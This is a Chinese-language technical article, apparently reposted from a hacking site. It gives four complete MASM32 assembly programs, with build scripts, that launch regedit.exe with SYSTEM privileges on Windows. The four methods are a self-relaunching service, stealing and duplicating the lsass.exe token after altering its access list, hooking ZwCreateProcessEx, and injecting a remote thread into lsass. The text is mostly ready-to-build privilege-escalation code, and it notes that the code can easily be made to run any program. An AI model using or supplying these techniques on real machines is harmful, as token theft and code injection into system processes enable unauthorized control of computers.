本文总结了 4 种方法获得 SYSTEM 权限来运行 regedit.exe 文件,
源代码很容易修改成命令行方式运行指定的程序。
1. 以[URL=http://www.heibai.net]服务[/URL]方式运行
2. 添加
ACL 的方法
3. HOOK ZwCreateProcessEx 函数
4. 远程线程的方法
这几种方法都不是我想出来的,我只不过是总结了一下,用 Win32ASM
重写了代码而以。
关于这个大家可以看文章末尾的参考资料。下面简单的分析每一种方法。
1. 以[URL=http://www.heibai.net]服务[/URL]方式运行
因为以[URL=http://www.heibai.net]服务[/URL]方式运行程序时,相当于运行程序的是系统进程,所以,
被指定运行的程序自然而然的继承了系统进程的权限,也就是 SYSTEM 权限。
;@echo off
;goto make
;====================================================================================
;
一块三毛钱
; [URL=http://zhongts.yeah.net]http://zhongts.yeah.net[/URL]
; [URL=http://www2.3800cc.com/news/w44/mailto:[email protected]][email protected][/URL]
; 2005.1.15
;
; 以
SYSTEM 权限运行程序 - GetSys1
;
; 采用以[URL=http://www.heibai.net]服务[/URL]方式运行的方法
;
;====================================================================================
.386
.model
flat, stdcall
option casemap :none
include c:/masm32/include/windows.inc
include
c:/masm32/include/kernel32.inc
include
c:/masm32/include/advapi32.inc
include c:/masm32/include/masm32.inc
includelib c:/masm32/lib/kernel32.lib
includelib
c:/masm32/lib/advapi32.lib
includelib c:/masm32/lib/masm32.lib
_ReLaunch proto
CTXT MACRO text
local
lbl
.const
lbl db text,0
.code
exitm
ENDM
.code
start proc
LOCAL stStartupInfo :
STARTUPINFO
LOCAL
procinfo : PROCESS_INFORMATION
invoke CreateMutex, NULL,
TRUE, CTXT("GetSys1_Mutex")
invoke GetLastError
.if
eax==ERROR_ALREADY_EXISTS
invoke RtlZeroMemory, addr stStartupInfo, sizeof
stStartupInfo
mov stStartupInfo.cb, sizeof
stStartupInfo
invoke CreateProcess, 0, CTXT("regedit.exe"), 0, 0, 0, 0, 0, 0,
addr
stStartupInfo, addr
procinfo
invoke CloseHandle,
procinfo.hProcess
invoke CloseHandle,
procinfo.hThread
.else
invoke _ReLaunch
.endif
invoke ExitProcess,
NULL
start endp
_ReLaunch proc
LOCAL hSCManager
LOCAL hService
LOCAL szName[MAX_PATH] : byte
invoke OpenSCManager, NULL,
NULL, SC_MANAGER_CREATE_SERVICE
.if
eax!=0
mov hSCManager,
eax
invoke OpenService, hSCManager, CTXT("GetSys1Temp"),
DELETE
.if
eax!=0
push
eax
invoke DeleteService,
eax
call
CloseServiceHandle
.endif
invoke GetModuleFileName, NULL, addr szName,
MAX_PATH
invoke CreateService, hSCManager, CTXT("GetSys1Temp"), CTXT("GetSys1 Temp
Service"),
/
SERVICE_START + SERVICE_QUERY_STATUS + DELETE,
/
SERVICE_WIN32_OWN_PROCESS + SERVICE_INTERACTIVE_PROCESS, SERVICE_DEMAND_START,
/
SERVICE_ERROR_IGNORE, addr szName, NULL, NULL, NULL, NULL,
NULL
.if
eax!=0
mov hService,
eax
invoke StartService, hService, 0,
NULL
invoke DeleteService,
hService
invoke CloseServiceHandle,
hService
.endif
invoke CloseServiceHandle,
hSCManager
.endif
ret
_ReLaunch endp
end start
:make
set path=%path%;c:/masm32/bin
set appname=GetSys1
ml /nologo /c /coff %appname%.bat
link /nologo /subsystem:windows
%appname%.obj
del %appname%.obj
echo.
pause
GetSys1(第一次运行的这个进程
GetSys1 我们称为 A) 开始运行时先创建一个互斥量,
接着以[URL=http://www.heibai.net]服务[/URL]的方式重新启动自己
(又一次运行的进程 GetSys1 我们称为 B),重新运行后的
B 已经具有了 SYSTEM 权限。
B 再通过 CreateProcess 函数运行 regedit.exe 程序,
因为 B 具有 SYSTEM
权限,所以 regedit.exe 从中继承了 SYSTEM 权限。
运行完了 regedit.exe 后 B 结束运行,
然后 A 中的
StartService 函数返回,A 结束运行。就是因为 StartService 函数不会直接返回,
所以不能够直接通过[URL=http://www.heibai.net]服务[/URL]的方式运行 regedit.exe。
2. 添加 ACL 的方法
主要思想是调用 CreateProcessAsUser 函数来运行程序,CreateProcessAsUser
函数的第一个参数是特定用户的令牌,
把这个参数设为具有 SYSTEM 权限的令牌即可。
;@echo off
;goto make
;====================================================================================
;
一块三毛钱
; [URL=http://zhongts.yeah.net]http://zhongts.yeah.net[/URL]
; [URL=http://www2.3800cc.com/news/w44/mailto:[email protected]][email protected][/URL]
; 2005.1.15
;
; 以
SYSTEM 权限运行程序 - GetSys2
;
; 采用添加 ACL
的方法
;
;====================================================================================
.386
.model
flat, stdcall
option casemap :none
include c:/masm32/include/windows.inc
include
c:/masm32/include/kernel32.inc
include
c:/masm32/include/advapi32.inc
include
c:/masm32/include/accctrl.inc
include c:/masm32/include/masm32.inc
includelib c:/masm32/lib/kernel32.lib
includelib
c:/masm32/lib/advapi32.lib
includelib c:/masm32/lib/masm32.lib
_EnablePrivilege proto :DWORD,:DWORD
_GetPidFromProcName proto
:DWORD
_ModifySecurity proto :DWORD,:DWORD
CTXT MACRO text
local
lbl
.const
lbl db text,0
.code
exitm
ENDM
ACL STRUCT
AclRevision BYTE
?
Sbz1
BYTE ?
AclSize WORD
?
AceCount WORD
?
Sbz2
WORD ?
ACL ENDS
PACL typedef PTR ACL
SecurityImpersonation equ 2
.code
start proc
LOCAL hProc
LOCAL hToken,
hNewToken
LOCAL
stStartupInfo : STARTUPINFO
LOCAL procinfo :
PROCESS_INFORMATION
sub eax,
eax
mov
hProc, eax
mov hToken,
eax
mov
hNewToken, eax
invoke
RtlZeroMemory, addr stStartupInfo, sizeof
stStartupInfo
invoke
RtlZeroMemory, addr procinfo, sizeof
procinfo
invoke _EnablePrivilege,
CTXT("SeDebugPrivilege"), TRUE
invoke _GetPidFromProcName,
CTXT("lsass.exe")
invoke
OpenProcess, PROCESS_QUERY_INFORMATION, 0,
eax
test eax,
eax
jz
_exit
mov
hProc, eax
invoke
OpenProcessToken, hProc, READ_CONTROL+WRITE_DAC, addr
hToken
test eax,
eax
jz
_exit
invoke _ModifySecurity,
hToken, TOKEN_ALL_ACCESS
test eax, eax
jz
_exit
invoke CloseHandle,
hToken
mov
hToken, 0
invoke OpenProcessToken,
hProc, TOKEN_ALL_ACCESS, addr
hToken
test eax,
eax
jz
_exit
invoke DuplicateTokenEx,
hToken, TOKEN_ALL_ACCESS, 0,
SecurityImpersonation, TokenPrimary, addr
hNewToken
test
eax, eax
jz
_exit
invoke
ImpersonateLoggedOnUser, hNewToken
test eax, eax
jz
_exit
mov
stStartupInfo.cb, sizeof
stStartupInfo
invoke
CreateProcessAsUser, hNewToken, 0, CTXT("regedit.exe"), 0, 0, 0, 0, 0, 0,
addr stStartupInfo, addr
procinfo
test
eax, eax
jz
_exit
invoke CloseHandle,
procinfo.hProcess
invoke
CloseHandle, procinfo.hThread
_exit:
.if
hProc
invoke CloseHandle, hProc
.endif
.if
hToken
invoke CloseHandle, hToken
.endif
.if
hNewToken
invoke CloseHandle,
hNewToken
.endif
invoke ExitProcess,
NULL
start endp
_ModifySecurity proc uses ebx esi edi, hToken:DWORD,
dwAccess:DWORD
LOCAL
pSD, pAbsSD
LOCAL
dwSDLength
LOCAL
bDaclPresent, bDaclDefaulted
LOCAL pAcl : PACL
LOCAL pNewAcl : PACL
LOCAL szName[1024] :
BYTE
LOCAL ea :
EXPLICIT_ACCESS
LOCAL
pSacl, pOwner, pPrimaryGroup
LOCAL dwAclSize, dwSaclSize, dwOwnerSize,
dwPrimaryGroup
LOCAL
bSuccess
sub eax,
eax
mov
pSD, eax
mov pAbsSD,
eax
mov
dwSDLength, eax
mov bDaclPresent,
eax
mov
bDaclDefaulted, eax
mov pAcl,
eax
mov
pNewAcl, eax
mov pSacl,
eax
mov
pOwner, eax
mov pPrimaryGroup,
eax
mov
dwAclSize, eax
mov dwSaclSize,
eax
mov
dwOwnerSize, eax
mov dwPrimaryGroup,
eax
mov
bSuccess, eax
invoke
GetKernelObjectSecurity, hToken, DACL_SECURITY_INFORMATION, pSD, 0, addr
dwSDLength
invoke
LocalAlloc, LPTR, dwSDLength
test eax, eax
jz
_exit
mov
pSD, eax
invoke
GetKernelObjectSecurity, hToken, DACL_SECURITY_INFORMATION, pSD,
dwSDLength,
addr dwSDLength
invoke
GetSecurityDescriptorDacl, pSD, addr bDaclPresent, addr pAcl, addr
bDaclDefaulted
mov eax,
sizeof szName
push eax
invoke GetUserName, addr szName,
esp
pop
eax
invoke
BuildExplicitAccessWithName, addr ea, addr szName, dwAccess, GRANT_ACCESS,
FALSE
invoke
SetEntriesInAcl, 1, addr ea, pAcl, addr
pNewAcl
cmp eax,
ERROR_SUCCESS
jne _exit
invoke LocalFree,
pAcl
mov
pAcl, 0
invoke
MakeAbsoluteSD, pSD, pAbsSD, addr dwSDLength, pAcl, addr dwAclSize, pSacl, addr
dwSaclSize,
/
pOwner, addr dwOwnerSize, pPrimaryGroup, addr
dwPrimaryGroup
invoke LocalAlloc, LPTR,
dwSDLength
test
eax, eax
jz
_exit
mov
pAbsSD, eax
invoke LocalAlloc, LPTR,
dwAclSize
test
eax, eax
jz
_exit
mov
pAcl, eax
invoke LocalAlloc, LPTR,
dwSaclSize
test
eax, eax
jz
_exit
mov
pSacl, eax
invoke LocalAlloc, LPTR,
dwOwnerSize
test
eax, eax
jz
_exit
mov
pOwner, eax
invoke LocalAlloc, LPTR,
dwPrimaryGroup
test eax, eax
jz
_exit
mov
pPrimaryGroup, eax
invoke MakeAbsoluteSD, pSD,
pAbsSD, addr dwSDLength, pAcl, addr dwAclSize, pSacl, addr dwSaclSize,
/
pOwner, addr dwOwnerSize, pPrimaryGroup, addr
dwPrimaryGroup
invoke
SetSecurityDescriptorDacl, pAbsSD, bDaclPresent, pNewAcl,
bDaclDefaulted
invoke
SetKernelObjectSecurity, hToken, DACL_SECURITY_INFORMATION,
pAbsSD
mov
bSuccess, 1
_exit:
.if
pSD
invoke LocalFree, pSD
.endif
.if
pAcl
invoke LocalFree, pAcl
.endif
.if
pNewAcl
invoke LocalFree, pNewAcl
.endif
.if
pAbsSD
invoke LocalFree, pAbsSD
.endif
.if
pSacl
invoke LocalFree, pSacl
.endif
.if
pOwner
invoke LocalFree, pOwner
.endif
.if
pPrimaryGroup
invoke LocalFree,
pPrimaryGroup
.endif
mov
eax, bSuccess
ret
_ModifySecurity endp
_EnablePrivilege proc szPriv:DWORD,
bFlags:DWORD
LOCAL
hToken
LOCAL tkp :
TOKEN_PRIVILEGES
invoke
GetCurrentProcess
mov edx,
eax
invoke OpenProcessToken,
edx, TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY, addr
hToken
invoke
LookupPrivilegeValue, NULL, szPriv, addr
tkp.Privileges.Luid
mov tkp.PrivilegeCount,
1
xor eax,
eax
.if
bFlags
mov eax,
SE_PRIVILEGE_ENABLED
.endif
mov
tkp.Privileges.Attributes, eax
invoke AdjustTokenPrivileges, hToken, FALSE, addr tkp, 0, 0,
0
push
eax
invoke CloseHandle,
hToken
pop
eax
ret
_EnablePrivilege
endp
_GetPidFromProcName proc
lpProcName:DWORD
LOCAL
stProcess : PROCESSENTRY32
LOCAL hSnapshot
LOCAL dwProcessID
mov
dwProcessID, 0
invoke
RtlZeroMemory, addr stProcess, sizeof
stProcess
mov stProcess.dwSize, sizeof
stProcess
invoke
CreateToolhelp32Snapshot, TH32CS_SNAPPROCESS,
0
mov
hSnapshot, eax
invoke
Process32First, hSnapshot, addr
stProcess
.while
eax
invoke lstrcmpi, lpProcName, addr
stProcess.szExeFile
.if
eax==0
mov eax,
stProcess.th32ProcessID
mov dwProcessID,
eax
.break
.endif
invoke Process32Next, hSnapshot, addr
stProcess
.endw
invoke CloseHandle,
hSnapshot
mov eax,
dwProcessID
ret
_GetPidFromProcName endp
end start
:make
set path=%path%;c:/masm32/bin
set appname=GetSys2
ml /nologo /c /coff %appname%.bat
link /nologo /subsystem:windows
%appname%.obj
del %appname%.obj
echo.
pause
GetSys2 取得 lsass.exe
进程的令牌,缺省情况下操作这个令牌的权限很小,
所以需要先取得操作这个令牌的所有权限。这个任务由函数 _ModifySecurity
来完成。
有了权限后,复制一个主令牌,然后在当前线程中扮演 SYSTEM 用户,接着就可以调用 CreateProcessAsUser
函数运行
regedit.exe 程序了。有关安全性[URL=http://www.heibai.net]编程[/URL]不清楚的地方可以参考[3]。
3. HOOK ZwCreateProcessEx 函数
有关这个[1]里面讲得很清楚了,下面直接给出源代码。
;@echo off
;goto make
;====================================================================================
;
一块三毛钱
; [URL=http://zhongts.yeah.net]http://zhongts.yeah.net[/URL]
; [URL=http://www2.3800cc.com/news/w44/mailto:[email protected]][email protected][/URL]
; 2005.1.15
;
; 以
SYSTEM 权限运行程序 - GetSys3
;
; 采用 HOOK ZwCreateProcessEx
函数的方法
;
;====================================================================================
.386
.model flat, stdcall
option casemap :none
include c:/masm32/include/windows.inc
include
c:/masm32/include/kernel32.inc
include
c:/masm32/include/advapi32.inc
include c:/masm32/include/masm32.inc
includelib c:/masm32/lib/kernel32.lib
includelib
c:/masm32/lib/advapi32.lib
includelib c:/masm32/lib/masm32.lib
_EnablePrivilege proto :DWORD,:DWORD
_GetPidFromProcName proto
:DWORD
_HackedZwCreateProcessEx proto
CTXT MACRO text
local
lbl
.const
lbl db text,0
.code
exitm
ENDM
ASMJMP struct
mov_eax BYTE
?
address DWORD
?
jmp_eax WORD
?
ASMJMP ends
.data?
g_hProc dd
?
g_dwFunc dd ?
.code
start proc
LOCAL osvi :
OSVERSIONINFO
LOCAL
lpAsmJmp
LOCAL mbi :
MEMORY_BASIC_INFORMATION
LOCAL stStartupInfo :
STARTUPINFO
LOCAL
procinfo : PROCESS_INFORMATION
sub eax,
eax
mov
lpAsmJmp, eax
invoke
RtlZeroMemory, addr osvi, sizeof
osvi
invoke RtlZeroMemory,
addr mbi, sizeof mbi
invoke
RtlZeroMemory, addr stStartupInfo, sizeof
stStartupInfo
invoke
RtlZeroMemory, addr procinfo, sizeof
procinfo
mov
osvi.dwOSVersionInfoSize, sizeof
osvi
invoke GetVersionEx,
addr osvi
cmp osvi.dwMajorVersion,
5
jnz
_exit
.if
osvi.dwMinorVersion==1
mov g_dwFunc,
30h
.elseif
osvi.dwMinorVersion==2
mov g_dwFunc,
32h
.endif
invoke _EnablePrivilege,
CTXT("SeDebugPrivilege"), TRUE
invoke _GetPidFromProcName,
CTXT("lsass.exe")
test eax, eax
jz
_exit
invoke OpenProcess,
PROCESS_CREATE_PROCESS, TRUE, eax
test eax, eax
jz
_exit
mov
g_hProc, eax
invoke GetModuleHandle,
CTXT("ntdll.dll")
mov edx,
eax
invoke GetProcAddress,
edx, CTXT("ZwCreateProcessEx")
mov lpAsmJmp,
eax
invoke VirtualQuery,
lpAsmJmp, addr mbi, sizeof mbi
push eax
invoke VirtualProtect, mbi.AllocationBase, mbi.RegionSize,
PAGE_EXECUTE_READWRITE, esp
pop eax
mov edi,
lpAsmJmp
assume edi : ptr
ASMJMP
mov
[edi].mov_eax, 0B8h
mov [edi].address, offset
_HackedZwCreateProcessEx
mov [edi].jmp_eax,
0E0FFh
mov
stStartupInfo.cb, sizeof
stStartupInfo
invoke
CreateProcess, 0, CTXT("regedit.exe"),
0, 0, 0, 0, 0, 0, addr stStartupInfo,
addr procinfo
test eax, eax
jz
_exit
invoke CloseHandle,
procinfo.hProcess
invoke
CloseHandle, procinfo.hThread
_exit:
invoke
ExitProcess, NULL
start endp
_HackedZwCreateProcessEx proc
mov eax,
g_hProc
mov dword ptr [esp+16],
eax
mov
eax, g_dwFunc
lea edx, dword ptr
[esp+4]
int 2Eh
retn 24h
_HackedZwCreateProcessEx endp
_EnablePrivilege proc szPriv:DWORD,
bFlags:DWORD
LOCAL
hToken
LOCAL tkp :
TOKEN_PRIVILEGES
invoke
GetCurrentProcess
mov edx,
eax
invoke OpenProcessToken,
edx, TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY, addr
hToken
invoke
LookupPrivilegeValue, NULL, szPriv, addr
tkp.Privileges.Luid
mov tkp.PrivilegeCount,
1
xor eax,
eax
.if
bFlags
mov eax,
SE_PRIVILEGE_ENABLED
.endif
mov
tkp.Privileges.Attributes, eax
invoke AdjustTokenPrivileges, hToken, FALSE, addr tkp, 0, 0,
0
push
eax
invoke CloseHandle,
hToken
pop
eax
ret
_EnablePrivilege
endp
_GetPidFromProcName proc
lpProcName:DWORD
LOCAL
stProcess : PROCESSENTRY32
LOCAL hSnapshot
LOCAL dwProcessID
mov
dwProcessID, 0
invoke
RtlZeroMemory, addr stProcess, sizeof
stProcess
mov stProcess.dwSize, sizeof
stProcess
invoke
CreateToolhelp32Snapshot, TH32CS_SNAPPROCESS,
0
mov
hSnapshot, eax
invoke
Process32First, hSnapshot, addr
stProcess
.while
eax
invoke lstrcmpi, lpProcName, addr
stProcess.szExeFile
.if
eax==0
mov eax,
stProcess.th32ProcessID
mov dwProcessID,
eax
.break
.endif
invoke Process32Next, hSnapshot, addr
stProcess
.endw
invoke CloseHandle,
hSnapshot
mov eax,
dwProcessID
ret
_GetPidFromProcName endp
end start
:make
set path=%path%;c:/masm32/bin
set appname=GetSys3
ml /nologo /c /coff %appname%.bat
link /nologo /subsystem:windows
%appname%.obj
del %appname%.obj
echo.
pause
4. 远程线程的方法
通过注入远程线程的方法来运行指定的 regedit.exe 程序,
也是相当于运行 regedit.exe 程序的是系统进程,
那么
regedit.exe 也就自然而然的继承了系统进程的 SYSTEM 权限。
;@echo off
;goto make
;====================================================================================
;
一块三毛钱
; [URL=http://zhongts.yeah.net]http://zhongts.yeah.net[/URL]
; [URL=http://www2.3800cc.com/news/w44/mailto:[email protected]][email protected][/URL]
; 2005.1.15
;
; 以
SYSTEM 权限运行程序 - GetSys4
;
;
采用远程线程的方法
;
;====================================================================================
.386
.model
flat, stdcall
option casemap :none
include c:/masm32/include/windows.inc
include
c:/masm32/include/kernel32.inc
include
c:/masm32/include/advapi32.inc
include c:/masm32/include/masm32.inc
includelib c:/masm32/lib/kernel32.lib
includelib
c:/masm32/lib/advapi32.lib
includelib c:/masm32/lib/masm32.lib
_EnablePrivilege proto :DWORD,:DWORD
_GetPidFromProcName proto :DWORD
;下面两个宏来源于罗云彬的《Windows 环境下32位汇[URL=http://www.heibai.net]编程[/URL]序设计》一书
reverseArgs macro
arglist:VARARG
local
txt,count
txt TEXTEQU
count =
0
for
i,
count = count +
1
txt TEXTEQU
@CatStr(i,,)
endm
if count GT
0
txt SUBSTR
txt,1,@SizeStr(%txt)-1
endif
exitm
txt
endm
_invoke macro
_Proc,args:VARARG
local count
count =
0
% for i,
count = count +
1
push i
endm
call dword
ptr _Proc
endm
CTXT MACRO text
local
lbl
.const
lbl db text,0
.code
exitm
ENDM
.data?
g_hProcess dd
?
g_lpRemoteCode dd
?
.code
Remote_code_start equ this
byte
g_lpGetModuleHandleA dd
?
g_lpGetProcAddress dd ?
g_szKernel32
db "Kernel32.dll",0
g_szCreateProcessA
db "CreateProcessA",0
g_lpCreateProcessA dd ?
g_szRegedit
db
"Regedit.exe",0
g_szDesktop
db "WinSta0/Default",0
g_stStartupInfo STARTUPINFO
g_procinfo
PROCESS_INFORMATION
_RemoteThread proc
;
int 3
pushad
call
@F
@@:
pop
ebx
sub
ebx, offset @B
lea eax,
[ebx+g_szKernel32]
_invoke
[ebx+g_lpGetModuleHandleA], eax
mov esi,
eax
lea
eax, [ebx+g_szCreateProcessA]
_invoke [ebx+g_lpGetProcAddress], esi,
eax
mov
[ebx+g_lpCreateProcessA], eax
lea eax,
[ebx+g_szDesktop]
lea ecx,
[ebx+g_stStartupInfo]
mov dword ptr [ecx], sizeof
g_stStartupInfo
mov dword ptr [ecx+8],
eax
lea
eax, [ebx+g_szRegedit]
lea edx,
[ebx+g_procinfo]
_invoke [ebx+g_lpCreateProcessA],
0, eax, 0, 0, 0, 0, 0, 0, ecx, edx
popad
ret
_RemoteThread
endp
Remote_code_end equ this
byte
Remote_code_length equ offset
Remote_code_end - offset Remote_code_start
start proc
invoke
GetModuleHandle,
CTXT("kernel32.dll")
mov ebx,
eax
invoke GetProcAddress,
ebx, CTXT("GetModuleHandleA")
mov g_lpGetModuleHandleA,
eax
invoke GetProcAddress,
ebx, CTXT("GetProcAddress")
mov g_lpGetProcAddress,
eax
invoke _EnablePrivilege,
CTXT("SeDebugPrivilege"), TRUE
invoke _GetPidFromProcName,
CTXT("lsass.exe")
invoke
OpenProcess, PROCESS_CREATE_THREAD+PROCESS_VM_OPERATION+PROCESS_VM_WRITE, FALSE,
eax
.if
eax
mov g_hProcess,
eax
invoke VirtualAllocEx, g_hProcess, NULL, Remote_code_length, MEM_COMMIT,
PAGE_EXECUTE_READWRITE
.if
eax
mov g_lpRemoteCode,
eax
invoke WriteProcessMemory, g_hProcess, g_lpRemoteCode,
offset
Remote_code_start, Remote_code_length,
NULL
mov eax,
g_lpRemoteCode
add eax, offset _RemoteThread - offset
Remote_code_start
invoke CreateRemoteThread, g_hProcess, NULL, 0, eax, 0, 0,
NULL
invoke CloseHandle,
eax
.endif
invoke CloseHandle,
g_hProcess
.endif
invoke ExitProcess,
NULL
start endp
_EnablePrivilege proc szPriv:DWORD,
bFlags:DWORD
LOCAL
hToken
LOCAL tkp :
TOKEN_PRIVILEGES
invoke
GetCurrentProcess
mov edx,
eax
invoke OpenProcessToken,
edx, TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY, addr
hToken
invoke
LookupPrivilegeValue, NULL, szPriv, addr
tkp.Privileges.Luid
mov tkp.PrivilegeCount,
1
xor eax,
eax
.if
bFlags
mov eax,
SE_PRIVILEGE_ENABLED
.endif
mov
tkp.Privileges.Attributes, eax
invoke AdjustTokenPrivileges, hToken, FALSE, addr tkp, 0, 0,
0
push
eax
invoke CloseHandle,
hToken
pop
eax
ret
_EnablePrivilege
endp
_GetPidFromProcName proc
lpProcName:DWORD
LOCAL
stProcess : PROCESSENTRY32
LOCAL hSnapshot
LOCAL dwProcessID
mov
dwProcessID, 0
invoke
RtlZeroMemory, addr stProcess, sizeof
stProcess
mov stProcess.dwSize, sizeof
stProcess
invoke
CreateToolhelp32Snapshot, TH32CS_SNAPPROCESS,
0
mov
hSnapshot, eax
invoke
Process32First, hSnapshot, addr
stProcess
.while
eax
invoke lstrcmpi, lpProcName, addr
stProcess.szExeFile
.if
eax==0
mov eax,
stProcess.th32ProcessID
mov dwProcessID,
eax
.break
.endif
invoke Process32Next, hSnapshot, addr
stProcess
.endw
invoke CloseHandle,
hSnapshot
mov eax,
dwProcessID
ret
_GetPidFromProcName endp
end start
:make
set path=%path%;c:/masm32/bin
set appname=GetSys4
ml /nologo /c /coff %appname%.bat
link /nologo /subsystem:windows
/section:.text,rwe %appname%.obj
del
%appname%.obj
echo.
pause
这段代码也没什么好解释的,唯一一个要注意的地方就是调用 CreateProcess
函数时,lpStartupInfo
参数指向的 STARTUPINFO 结构成员 lpDesktop 需要明确的指定 WinSta0/Default
为运行桌面。
否则,程序 regedit.exe 运行后不知道跑到哪里去了。